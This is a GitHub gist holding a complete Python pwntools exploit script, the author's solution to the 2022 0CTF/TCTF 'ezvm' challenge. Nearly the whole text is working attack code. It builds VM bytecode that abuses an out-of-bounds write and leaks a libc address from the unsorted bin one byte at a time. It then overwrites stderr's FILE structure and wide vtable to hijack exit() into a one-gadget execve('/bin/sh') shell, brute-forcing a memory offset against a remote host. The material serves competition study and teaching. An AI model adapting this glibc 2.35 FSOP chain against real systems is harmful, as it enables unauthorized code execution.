Skip to content

Instantly share code, notes, and snippets.

@xf1les
Created September 19, 2022 11:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xf1les/970e3ceb7afd93c9198fe5fcc818d829 to your computer and use it in GitHub Desktop.
Save xf1les/970e3ceb7afd93c9198fe5fcc818d829 to your computer and use it in GitHub Desktop.
My solution for ezvm (2022 0CTF/TCTF)
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64", log_level="debug")
p = None
p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x)
p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)
BF_OFFSET = 0
########################################################################
class VMCODE():
def __init__(self):
self.CODE = b''
self.IP = 0
def store(self, dst, src):
self.IP += 1 + 1 + 8
self.CODE += p8(22) + p8(dst) + p64(src)
#### [BUG] arbitrary offset write ####
def load(self, dst, src):
self.IP += 1 + 1 + 8
self.CODE += p8(21) + p8(src) + p64(dst)
def store_imn(self, dst, imn):
self.IP += 1 + 1 + 8
self.CODE += p8(20) + p8(dst) + p64(imn)
def push(self, dst):
self.IP += 1 + 1
self.CODE += p8(0) + p8(dst)
def pop(self, dst):
self.IP += 1 + 1
self.CODE += p8(1) + p8(dst)
def right_shift(self):
self.IP += 1
self.CODE += p8(8)
def _and(self):
self.IP += 1
self.CODE += p8(9)
def sub(self):
self.IP += 1
self.CODE += p8(3)
def jz(self, off):
self.IP += 1 + 8
self.CODE += p8(16) + p64(off)
def jnz(self, off):
self.IP += 1 + 8
self.CODE += p8(15) + p64(off)
def jmp(self, off):
self.IP += 1 + 8
self.CODE += p8(14) + p64(off, signed=1)
def bad(self):
self.IP += 1
self.CODE += p8(0xff)
def ret(self):
self.IP += 1
self.CODE += p8(23)
def vm_run(mem_sz, code):
global p
p.sendline("yes")
p_sl(len(code)+1, "Please input your code size:")
p_sl(mem_sz, "Please input your memory count:")
p_sl(code, "Please input your code:")
def leak_byte(pos):
global p
c = VMCODE()
# save main_arena address to MEM[0]
c.store(0, 0)
# leak one byte, then save leaked byte to MEM[1]
# MEM[1] = (MEM[0] >> pos * 8) & 0xFF
c.push(0)
c.store_imn(0, pos * 8)
c.push(0)
c.right_shift()
c.store_imn(0, 0xff)
c.push(0)
c._and()
c.store_imn(0, 1)
# LOOP
# check if MEM[1] == 0
c.pop(1)
c.push(1)
c.jnz(1)
c.ret() # quit if MEM[1] == 0
# print "what???"
c.bad()
# MEM[1]--
c.push(1)
c.push(0)
c.sub()
c.jmp(-29) # jmp to LOOP
vm_run(0x100, c.CODE)
d = p.recvuntil("finish!")
return d.count(b"what???") # the times of "what???" string printed will be equal to the leaked byte
def main():
global BF_OFFSET, p
p = remote("202.120.7.210", "40241")
# ~ p = process("./ezvm")
####################################################
### Stage 1: send a 0x800 chunk to unsorted bin ###
####################################################
vm_run(0x100, p8(23) * 77)
####################################################
### Stage 2: leak libc address from unsorted bin ###
####################################################
context(log_level="error")
addr = 0
for i in range(7):
addr <<= 8
addr += leak_byte(6-i)
context(log_level="debug")
libcbase = addr - 0x219ce0
p.success("libcbase 0x%lx", libcbase)
libc_os = lambda x : libcbase + x
###############################
### Stage 3: Corrupt stderr ###
###############################
LIBC_OFF = 0x200ff0 + BF_OFFSET # the offset from mmap memory to libc.so.6 memory
STDERR = 0x21a6a0
STDERR_OFF = LIBC_OFF + STDERR
FAKE_WIDE_VTABLE = 0x2205b0
FAKE_WIDE_VTABLE_OFF = LIBC_OFF + FAKE_WIDE_VTABLE
## Found by https://github.com/xf1les/fsop-finder
## 2.35-0ubuntu3.1
# 3. sub_860b0@0x860b0 -> _IO_wdoallocbuf@0x83bf0
# 0x861cd: call(0x83bf0)
# RIP/RDI DATAFLOW:
# rbx = rdi -> rdi = rbx -> call(0x83bf0)
# RBP DATAFLOW:
# rbp = [rdi + 0x98].q
# CODE PATH:
# eax = [rdi].d
# => [condition] (al & 4) == 0
# rax = [rdi + 0xa0].q
# rdx = [rax].q
# => [condition] rdx u>= [rax + 8].q
# rdx = [rdi + 8].q
# => [condition] rdx u< [rdi + 0x10].q
# rdi = [rax + 0x40].q
# => [condition] rdi == 0
# 0x83c1b: call([rax + 0x68].q)
# RIP/RDI DATAFLOW:
# rax = [rdi + 0xa0].q -> rax = [rax + 0xe0].q -> call([rax + 0x68].q)
# RBP DATAFLOW:
# (N/A)
# CODE PATH:
# rax = [rdi + 0xa0].q
# => [condition] [rax + 0x30].q == 0
# => [condition] ([rdi].b & 2) == 0
# ([0x216020] is the location of sub_860b0 in __libc_IO_vtables)
c = VMCODE()
c.store_imn(0, 0)
c.store_imn(1, 1)
c.load(STDERR_OFF//8, 0) # stderr->flags = 0
c.load((STDERR_OFF+0x10)//8, 1) # stderr->_IO_read_end = 1
c.load((STDERR_OFF+0x28)//8, 1) # stderr->_IO_write_base = 1
c.store_imn(0, libc_os(0x216020-0x18))
c.load((STDERR_OFF+0xd8)//8, 0) # stderr->vtable = &(_IO_wfile_jumps_mmap+32)-0x18
c.store_imn(0, libc_os(FAKE_WIDE_VTABLE-0x68))
c.load((LIBC_OFF+0x219980)//8, 0) # _IO_wide_data_1->_wide_vtable
c.load((STDERR_OFF+0x98)//8, 0) # rbp (stderr->_codecvt), required by one gadget
# 0xebcf5 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL
c.store_imn(0, libc_os(0xebcf5))
c.load((FAKE_WIDE_VTABLE_OFF)//8, 0) # one gadget
vm_run(0x2000000000040001, c.CODE)
################################################
### Stage 4: trigger FSOP to call one gadget ###
################################################
# exit() -> _IO_cleanup() -> _IO_flush_all_lockp() -> _IO_wfile_underflow_mmap() -> _IO_wdoallocbuf()
p_sl("bye bye", "continue?")
print(">>>>> GOT SHELL!!! <<<<<<")
p.interactive()
# bruteforcing the offset between mmap memory and libc.so.6 memory
times = 100
while times >= 0:
times -= 1
try:
BF_OFFSET += 0x1000
main()
except KeyboardInterrupt:
break
except Exception as e:
print(e)
try:
p.close()
except:
pass
p = None
continue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment